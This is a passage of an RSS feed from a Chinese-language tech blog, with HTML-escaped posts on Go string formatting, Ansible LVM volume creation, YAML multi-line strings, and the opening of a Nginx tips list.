&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%0.2f\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">16.540&lt;/span>) &lt;span style="color:#75715e">// 16.54&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%0.3f\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">16.540&lt;/span>) &lt;span style="color:#75715e">// 16.540&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%0.5f\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">16.540&lt;/span>) &lt;span style="color:#75715e">// 16.54000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="go-字串格式化旗標">Go 字串格式化旗標&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%+d\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// +1691&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%#x\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 0x69b&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%#X\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 0X69B&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%#b\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 0b11010011011&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%10d\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 1691&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%-10d\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 1691&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%010d\n&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">1691&lt;/span>) &lt;span style="color:#75715e">// 0000001691&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="go-字串格式化寬度">Go 字串格式化寬度&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">w&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;falcon&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">122&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">h&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">455.67&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%s\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">w&lt;/span>) &lt;span style="color:#75715e">// falcon&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%10s\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">w&lt;/span>) &lt;span style="color:#75715e">// falcon&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%d\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">n&lt;/span>). &lt;span style="color:#75715e">// 122&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%7d\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">n&lt;/span>) &lt;span style="color:#75715e">// 122&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%07d\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">n&lt;/span>) &lt;span style="color:#75715e">// 0000122&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%10f\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">h&lt;/span>) &lt;span style="color:#75715e">// 455.670000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%11f\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">h&lt;/span>) &lt;span style="color:#75715e">// 455.670000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%12f\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">h&lt;/span>) &lt;span style="color:#75715e">// 455.670000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>LVM - lvg 與 lvol</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220905-system-lvm/</link><pubDate>Mon, 05 Sep 2022 15:32:05 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220905-system-lvm/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ansible.cloudns.pro/post/system/lvm/" target="_blank" rel="noopener">LVM - lvg 與 lvol&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="卷群組">卷群組&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">在 /dev/sda1 跟 /dev/sdb1 之上建立 volume group，其 extend size 設置為 32MB&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">community.general.lvg&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vg&lt;/span>: &lt;span style="color:#ae81ff">vg.services&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">pvs&lt;/span>: &lt;span style="color:#ae81ff">/dev/sda1,/dev/sdb1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">pesize&lt;/span>: &lt;span style="color:#ae81ff">32&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="本地卷">本地卷&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">建立一個大小為 512m 的 local volume&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">community.general.lvol&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vg&lt;/span>: &lt;span style="color:#ae81ff">firefly&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">lv&lt;/span>: &lt;span style="color:#ae81ff">test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">size&lt;/span>: &lt;span style="color:#ae81ff">512&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="範例">範例&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Create LVM for DRBD&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">hosts&lt;/span>: &lt;span style="color:#ae81ff">all&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">become&lt;/span>: &lt;span style="color:#66d9ef">yes&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vars&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vg_name&lt;/span>: &lt;span style="color:#ae81ff">drbdpool&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">tasks&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Create a new primary partition for LVM&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">community.general.parted&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">device&lt;/span>: &lt;span style="color:#ae81ff">/dev/sdb&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">number&lt;/span>: &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">align&lt;/span>: &lt;span style="color:#ae81ff">optimal&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">flags&lt;/span>: [&lt;span style="color:#ae81ff">lvm]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">state&lt;/span>: &lt;span style="color:#ae81ff">present&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Create a volume group on top of /dev/sda1 with physical extent size = 32MB&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">community.general.lvg&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vg&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ vg_name }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">pvs&lt;/span>: &lt;span style="color:#ae81ff">/dev/sdb1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">state&lt;/span>: &lt;span style="color:#ae81ff">present&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Create a logical volume&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">community.general.lvol&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vg&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ vg_name }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">lv&lt;/span>: &lt;span style="color:#ae81ff">drbddata&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">size&lt;/span>: &lt;span style="color:#ae81ff">100&lt;/span>&lt;span style="color:#ae81ff">%FREE&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>YAML 裡的字串很長該怎麼做？</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220829-long-string-in-yaml/</link><pubDate>Mon, 29 Aug 2022 15:01:40 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220829-long-string-in-yaml/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ansible.cloudns.pro/post/long-string-in-yaml/" target="_blank" rel="noopener">YAML 裡的字串很長該怎麼做？&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>在 YAML 裡已經有規範此部份，在這種情況有四種方法可以幫助我們：&lt;/p>
&lt;ul>
&lt;li>&lt;code>|&lt;/code>: 其下內容的換行，就是換行，最後一行會有換行。&lt;/li>
&lt;li>&lt;code>&amp;gt;&lt;/code>: 其下內容的換行，不會是換行，會變為一個很長的字串，最後會有換行。&lt;/li>
&lt;li>&lt;code>|-&lt;/code>: 其下內容的換行，就是換行，但最後一行不會有換行。&lt;/li>
&lt;li>&lt;code>&amp;gt;-&lt;/code>: 其下內容的換常，不會是換行，最後一行也不會有換行。&lt;/li>
&lt;/ul>
&lt;p>簡單的說，&lt;code>&amp;gt;&lt;/code> 跟 &lt;code>&amp;gt;-&lt;/code> 可以增加 YAML 的可讀性，又不會有多餘的換行符號。而 &lt;code>|&lt;/code> 跟 &lt;code>|-&lt;/code> 則可以讓字串跟定義的一致，在 YAML 裡看到換行，那字串裡就會有換行符號。&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Test long string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">hosts&lt;/span>: &lt;span style="color:#ae81ff">all&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vars&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">s1&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;hello&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">s2&lt;/span>: |&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> s2
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> this is my very very very
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> long string
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line1
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line2
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">s3&lt;/span>: &amp;gt;&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> s3
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> this is my very very very
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> long string
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line1
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line2
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">s4&lt;/span>: |-&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> s4
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> this is my very very very
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> long string
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line1
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line2
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">s5&lt;/span>: &amp;gt;-&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> s5
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> this is my very very very
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> long string
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line1
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line2
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> line3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">tasks&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">s1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">copy&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">content&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ s1 }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">dest&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;/tmp/s1.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># hello%&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">s2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">copy&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">content&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ s2 }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">dest&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;/tmp/s2.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># s2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># this is my very very very&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># long string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># line1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># line2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># line3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">s3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">copy&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">content&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ s3 }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">dest&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;/tmp/s3.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># s3 this is my very very very long string line1 line2 line3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">s4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">copy&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">content&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ s4 }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">dest&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;/tmp/s4.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># s4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># this is my very very very&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># long string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># line1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># line2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># line3%&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">s5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">copy&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">content&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ s5 }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">dest&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;/tmp/s5.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># s5 this is my very very very long string line1 line2 line3%&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>實戰經驗整理的 25 個 Nginx 技巧</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220810-top-25-nginx-tips-and-tricks-from-practical-experience/</link><pubDate>Wed, 10 Aug 2022 12:27:28 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220810-top-25-nginx-tips-and-tricks-from-practical-experience/</guid><description>&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://hackernoon.com/top-25-nginx-tips-and-tricks-from-practical-experience" target="_blank" rel="noopener">實戰經驗整理的 25 個 Nginx 技巧&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>server_tokens off;&lt;/code>&lt;/p>
&lt;/li>
&lt;li>
